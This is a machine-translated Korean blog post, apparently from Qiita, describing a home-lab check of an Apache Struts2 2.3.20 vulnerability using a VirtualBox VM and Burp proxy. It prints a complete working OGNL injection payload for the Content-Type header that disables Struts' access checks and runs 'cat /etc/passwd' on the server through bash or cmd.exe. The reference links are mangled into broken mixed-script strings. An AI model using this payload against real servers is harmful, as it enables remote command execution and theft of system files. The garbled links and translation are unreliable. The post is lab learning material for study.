apache struts2 취약점 검증
환경
VirtualBox에서 브리지 어댑터 사용
호스트:macOS 10.12
게스트:ubuntu 16.04LST
struts 2.3.20
가상 머신에 java, tomcat 등을 도입한다
ht tp // 66 tbg. 는 bぉ. jp/엔트리/2016/05/05/195401
h tp // w w.ぃん×まああ。 jp/아 pt-인 s 탓ㅁㅔぁ. HTML
이 기사를 참고로했습니다.
Brupproxy 설정
Burpproxy의 proxy->Options->add에서 127.0.0.1:9999(선택 사항)를 설정합니다.
그런 다음 호스트 시스템 브라우저를 방금 만든 프록시를 통해 통신하도록 설정합니다.
http 요청 변경
브라우저의 URL 입력란에 게스트 머신의 IP 주소, 포트 번호를 입력합니다.
그러면 Burpproxy의 intercept 탭에 http 요청이 표시됩니다.
Content-Type: Content-Type:%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
쿠키 등을 지우고 추가하고 Forward를 클릭하십시오. ↑의 코드에서는 서버의/etc/passwd 파일이 브라우저상에 표시되어 버립니다!
java?의 코드가 Content-Type에 포함되어있는 것처럼 서버의 OS를 검사 "/bin/bash -c cat/etc/passwd"를 실행하는 것 같습니다.
wireshark에서 패킷 캡처를 시도하는 고려 사항
보안 캠프에서 배포된 패킷 파일에는 왠지 ssh 연결에 응답하는 패킷이 보였지만 역시 이번 실험에서는 그런 것은 발견할 수 없었다. . .
참고 사이트
ht tp // 66 tbg. 는 bぉ. jp/엔트리/2016/05/05/195401
h tp // w w.ぃん×まああ。 jp/아 pt-인 s 탓ㅁㅔぁ. HTML
Reference
이 문제에 관하여(apache struts2 취약점 검증), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://qiita.com/warito2323/items/1285b9309d7851c90e5f텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)